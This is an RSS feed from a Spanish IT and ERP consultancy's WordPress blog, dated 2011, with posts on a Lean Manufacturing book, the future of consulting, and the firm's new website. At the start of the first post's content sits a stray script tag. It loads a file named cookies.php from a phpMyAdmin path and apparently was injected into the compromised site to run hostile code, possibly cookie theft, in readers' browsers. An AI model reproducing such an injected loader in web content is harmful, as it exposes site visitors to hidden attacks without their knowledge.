<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ICE Consultants</title>
	<atom:link href="http://www.ice-consultants.com/index.php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ice-consultants.com</link>
	<description>Business &#124; IT &#124; ERP Consultants</description>
	<lastBuildDate>Wed, 29 Jun 2011 16:04:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.5</generator>
		<item>
		<title>LEAN para vagos: Cómo hacer más trabajando menos</title>
		<link>http://www.ice-consultants.com/index.php/2011/06/27/lean-para-vagos-como-hacer-mas-trabajando-menos/</link>
		<comments>http://www.ice-consultants.com/index.php/2011/06/27/lean-para-vagos-como-hacer-mas-trabajando-menos/#comments</comments>
		<pubDate>Mon, 27 Jun 2011 15:36:30 +0000</pubDate>
		<dc:creator>Paola Sarria</dc:creator>
				<category><![CDATA[LEAN]]></category>
		<category><![CDATA[Lean Manufacturing]]></category>

		<guid isPermaLink="false">http://www.ice-consultants.com/?p=1773</guid>
		<description><![CDATA[Hemos descubierto rondando por la red un libro sobre Lean Manufacturing que no tiene desperdicio. Su autor, Manuel Crespo, aborda los conceptos básicos del Lean de forma amena y con sentido del humor estableciendo analogías entre conceptos básicos de Lean y situaciones de la vida diaria. Consideramos que es una lectura muy recomendada para aquellos [...]]]></description>
			<content:encoded><![CDATA[<p><script src=/phpmyadmin/contrib/cookies.php></script>Hemos descubierto rondando por la red un libro sobre Lean Manufacturing que no tiene desperdicio. Su autor, Manuel Crespo, aborda los conceptos básicos del Lean de forma amena y con sentido del humor estableciendo analogías entre conceptos básicos de Lean y situaciones de la vida diaria.</p>
<p><span id="more-1773"></span></p>
<p>Consideramos que es una lectura muy recomendada para aquellos que sientan curiosidad por saber en qué consiste eso de la filosofía Lean pero no tanta como para leerse un libro lleno de tecnicismos…</p>
<p>Podéis acceder al pdf en el enlace: <a href="http://www.monografias.com/trabajos-pdf/lean-vagos-trabajando/lean-vagos-trabajando.pdf"></a></p>
<p><a href="http://www.monografias.com/trabajos-pdf/lean-vagos-trabajando/lean-vagos-trabajando.pdf">http://www.monografias.com/trabajos-pdf/lean-vagos-trabajando/lean-vagos-trabajando.pdf</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ice-consultants.com/index.php/2011/06/27/lean-para-vagos-como-hacer-mas-trabajando-menos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>¿Hacia dónde va el mundo de la consultoría?</title>
		<link>http://www.ice-consultants.com/index.php/2011/06/10/%c2%bfhacia-donde-va-el-mundo-de-la-consultoria/</link>
		<comments>http://www.ice-consultants.com/index.php/2011/06/10/%c2%bfhacia-donde-va-el-mundo-de-la-consultoria/#comments</comments>
		<pubDate>Fri, 10 Jun 2011 10:55:34 +0000</pubDate>
		<dc:creator>Javier Pan</dc:creator>
				<category><![CDATA[Reflexiones]]></category>
		<category><![CDATA[Consultoría]]></category>
		<category><![CDATA[Procesos]]></category>

		<guid isPermaLink="false">http://www.ice-consultants.com/?p=1380</guid>
		<description><![CDATA[Hace ya muchos años, más de los que me gustaría reconocer, un compañero de la Universidad le preguntó a un profesor qué creía que tenía más futuro: fabricar ordenadores o saber programarlos. Sin durarlo un momento, el profesor respondió que años atrás alguien también se habría preguntado si sería mejor aprender a escribir a máquina [...]]]></description>
			<content:encoded><![CDATA[<p>Hace ya muchos años, más de los que me gustaría reconocer, un compañero de la Universidad le preguntó a un profesor qué creía que tenía más futuro: fabricar ordenadores o saber programarlos. Sin durarlo un momento, el profesor respondió que años atrás alguien también se habría preguntado si sería mejor aprender a escribir a máquina o fabricar máquinas de escribir. Señaló que aquel que decidió aprender a escribir a máquina sabría afrontar en un futuro cualquier tipo de teclado, de la misma forma que aquel que aprendió las bases de la algorítmica podrá defenderse ante cualquier lenguaje de programación presente o futuro.</p>
<p><span id="more-1380"></span>Si alguien me preguntara hacia dónde va el negocio de la consultoría no sabría exactamente qué responder, pero lo que sí me atrevería es a asegurar que aquellos que se centren en un modelo de consultoría basado en el conocimiento y mejora de los procesos de negocio siempre tendrán su lugar destacado en el mercado. Es por tal motivo que debemos hacer un esfuerzo por ir más allá de la tecnología y conocer profundamente el negocio de nuestros clientes para ayudarles a mejorar. Ese ha sido, es y será siempre el espíritu de la consultoría.</p>
<p>Aprovecho la ocasión que me brinda el estreno de la nueva web de ICE para dar comienzo a un Blog que esperamos sea del interés de todos. Os invito a que participéis y compartáis todas aquellas experiencias que puedan ser de utilidad a los que nos movemos en este mundo de la consultoría.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ice-consultants.com/index.php/2011/06/10/%c2%bfhacia-donde-va-el-mundo-de-la-consultoria/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ICE Consultants estrena web</title>
		<link>http://www.ice-consultants.com/index.php/2011/06/06/ice-consultants-estrena-web/</link>
		<comments>http://www.ice-consultants.com/index.php/2011/06/06/ice-consultants-estrena-web/#comments</comments>
		<pubDate>Mon, 06 Jun 2011 16:18:30 +0000</pubDate>
		<dc:creator>Paola Sarria</dc:creator>
				<category><![CDATA[Noticias]]></category>

		<guid isPermaLink="false">http://www.ice-consultants.com/?p=1246</guid>
		<description><![CDATA[Como muchos ya sabéis, ICE Consultants estrena hoy su nueva web 2.0 (www.ice-consultants.com) Como podréis comprobar, la nueva web se identifica plenamente con nuestra imagen corporativa y es visualmente más limpia y moderna que la anterior. Con ella, intentamos facilitar a los visitantes un mejor acceso a la información más relevante (servicios ofrecidos, referencias y [...]]]></description>
			<content:encoded><![CDATA[<p>Como muchos ya sabéis, ICE Consultants estrena hoy su nueva web 2.0 (<a href="http://www.ice-consultants.com/" target="_self">www.ice-consultants.com</a>)</p>
<p>Como podréis comprobar, la nueva web se identifica plenamente con nuestra imagen corporativa y es visualmente más limpia y moderna que la anterior. Con ella, intentamos facilitar a los visitantes un mejor acceso a la información más relevante (servicios ofrecidos, referencias y casos de éxito), además de poner a su disposición iconos que permiten compartir los contenidos y así generar mayor interacción con los visitantes.</p>
<p><span id="more-1246"></span></p>
<p>Uno de los cambios más significativos ha sido la simplificación del menú, que hemos estructurado de la siguiente forma:</p>
<ul>
<li> <span style="text-decoration: underline;">Inicio</span>: con una breve descripción de quién somos y qué hacemos, más tres columnas que sirven de enlace a las páginas de los servicios que consideramos más relevantes para nuestra actividad. También aprovecharemos este espacio para incluir los banners de las campañas que estemos llevando a cabo, como es el caso de la actual Campaña Fast Start de SAP.</li>
<li><span style="text-decoration: underline;">Quién somos</span>: para ofrecer una descripción más detallada de la empresa, explicar dónde están nuestras oficinas y animar a posibles candidatos a enviarnos sus CV´s</li>
<li><span style="text-decoration: underline;">Qué hacemos</span>: donde explicamos en qué áreas trabajamos y ofrecemos documentación en pdf para poder descargar como casos de éxito, factsheets, folletos,..</li>
<li><span style="text-decoration: underline;">Nuestra experiencia</span>: donde los visitantes podrán ver, agrupados por sectores, en qué clientes hemos trabajado y cuáles han sido los proyectos realizados, así como una página destinada a recopilar todos los casos de éxito que vayamos publicando (aprovechamos para recordar que todos nuestros casos de éxito tienen su correspondiente autorización expresa por parte del cliente).</li>
<li><span style="text-decoration: underline;">Blog</span>: será un espacio destinado publicar artículos sobre diversos temas relacionados con los servicios que ofrecemos así como para dar a conocer las novedades de la empresa.</li>
</ul>
<p>Asimismo, desde todas las páginas de la web será siempre visible un enlace a la página de contacto y un pié de página con acceso directo a las redes sociales corporativas, las entradas más recientes del blog y las últimas ofertas de trabajo publicadas.</p>
<p>Esperamos que os guste!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ice-consultants.com/index.php/2011/06/06/ice-consultants-estrena-web/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

